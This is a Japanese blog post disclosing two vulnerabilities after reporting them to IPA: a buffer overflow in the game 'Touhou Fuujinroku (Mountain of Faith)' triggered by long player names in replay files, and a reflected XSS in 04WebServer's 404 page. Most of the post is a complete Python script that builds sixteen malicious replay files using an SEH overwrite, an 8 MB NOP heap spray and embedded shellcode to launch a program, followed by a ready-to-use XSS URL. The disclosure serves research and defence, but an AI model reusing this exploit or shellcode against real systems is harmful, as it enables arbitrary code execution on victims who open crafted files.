この広告は、90日以上更新していないブログに表示しています。
IPAに報告した「東方風神録 〜 Mountain of Faith.」と「04WebServer」の脆弱性について、IPAに情報非開示依頼の取り下げを申請して認められたので、脆弱性関連情報を公開します。私はこれらの情報の内容が真実であると確信していますし、開発者などの名誉を毀損する意図でこれらの情報を公開するわけではありません。
「東方文花帖 〜 Shoot the Bullet.」の脆弱性を見つけたときに、東方シリーズの他の作品も調べていた。最近の東方シリーズはコンパイラが変わったのかスタックがカナリアで保護されていて、バッファーオーバーランでの攻撃はできないと一旦は諦めていたが、SEHオーバーライトという手法によって攻撃できた。SEHオーバーライトはこのページが詳しい。下記のExploitでは、Heap sprayという手法によってWindows XPより後のOSでも攻撃が可能になっている。
この脆弱性はプレイヤー名表示の処理に存在する。長いプレイヤー名を詰め込むと、プレイヤー名と別のパラメタの位置が被り、その位置に0x00以外のバイトがあるとプレイヤー名表示の処理以前に落ちたりして、東方文花帖と東方風神録以外の東方シリーズを攻撃することはできなかった。
ユーザーにできる対策は、信用できないリプレイデータを開かないこと。
このzipファイルの中のreplayフォルダの中身全部を、東方風神録のreplayフォルダの中にコピーし、リプレイを再生しようとすると、メモ帳が起動する。既存のリプレイを上書きする必要があるので、避けておくこと。
生成スクリプト
# coding: utf-8# 東方風神録 1.00a Exploitfrom structimport packimport array# Shell code# http://code.google.com/p/win-exec-calc-shellcode/shell = ("31f656648b76308b760c8b761c8b6e08""8b368b5d3c8b5c1d7801eb8b4b1867e3""ec8b7b2001ef8b7c8ffc01ef31c09932""1766c1ca01ae75f76681fa10f5e0e275""cc8b532401ea0fb7144a8b7b1c01ef03""2c97682e6578656863616c6354870424""50ffd5"+"33c0"+# xor eax,eax"33c9"+# xor ecx,ecx"49"+# dec ecx"648908"+# mov fs:[eax],ecx"cc"# int3 ).decode("hex")seh =0x0c0c0c0c# address of SEH handlerheap =8*1024*1024# size of nopsdefmain(): d = ("\xff"*0xc +"\x33\xe9\xee\x4f"# time +"\xff"*0x3d2 + pack("<I",seh)# SEH handler +"\x90"*heap# nop + shell)# shell code d = array.array("B",(ord(x)for xin d))print"compress" c = compress(d)print"encrypt 1" c = encrypt(c,0x3d,0x7a,0x80)print"encrypt 2" c = encrypt(c,0xaa,0xe1,0x400) t = ("t10r\x05\x00\x00\x00\x00\x00\x00\x00"+pack("<I",len(c)+0x24)+"\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+pack("<I",len(c))+ pack("<I",len(d))+"".join(chr(x)for xin c))for iinrange(1,16+1):open("th10_%02d.rpy"%i,"wb").write(t)defcompress(d):classbitstream:def__init__(s): s.B = array.array("B") s.n =0defaddbit(s,b):iflen(s.B)<=s.n/8: s.B.append(0) s.B[s.n/8] |= b<<(7-s.n%8) s.n +=1defadd(s,d,l):for iinrange(l)[::-1]: s.addbit(d>>i&1)defget(s):return s.B C = bitstream() i =0while i<len(d): r =0while i+r<len(d)and d[i+r]==d[i]: r +=1if r<19or (i+1)%0x2000==0: C.addbit(1) C.add(d[i],8) i +=1else: C.addbit(1) C.add(d[i],8)for jinxrange((r-1)/18): C.addbit(0) C.add((i+1)%0x2000,13) C.add(15,4) i +=1+(r-1)/18*18 C.addbit(0) C.add(0,13)return C.get()defencrypt(d,k,kd,b): n =len(d) nd = n%bif nd>=b/4: nd=0if n%2!=0: nd+=1 n -= nd r = d[:] bi =0while bi<n: bs =min(b,n-bi) p = bifor iinrange((bs+1)/2): r[p] = d[bi+bs-i*2-1]^(k&0xff); k+=kd; p+=1for iinrange(bs/2): r[p] = d[bi+bs-i*2-2]^(k&0xff); k+=kd; p+=1 bi += breturn rif __name__=="__main__": main()
NOPで埋めた8MBのセーブデータを16個読み込ませて、制御を0x0c0c0c0cに飛ばしている。まあ、だいたい0x0c0c0c0cにセーブデータのどれかが読み込まれているでしょう。
普通ならば電卓を起動したあとは、元のプログラムはどうなっても良いのだけど、SEHを上書きしたまま例外が発生すると、さらに電卓を起動する処理が走るので気をつけましょうw
04WebServer
404ページにXSSが存在する。
http://localhost/hoge%3Cscript%3Ealert%28location%29%3C/script%3E
引用をストックしました
引用するにはまずログインしてください
引用をストックできませんでした。再度お試しください
限定公開記事のため引用できません。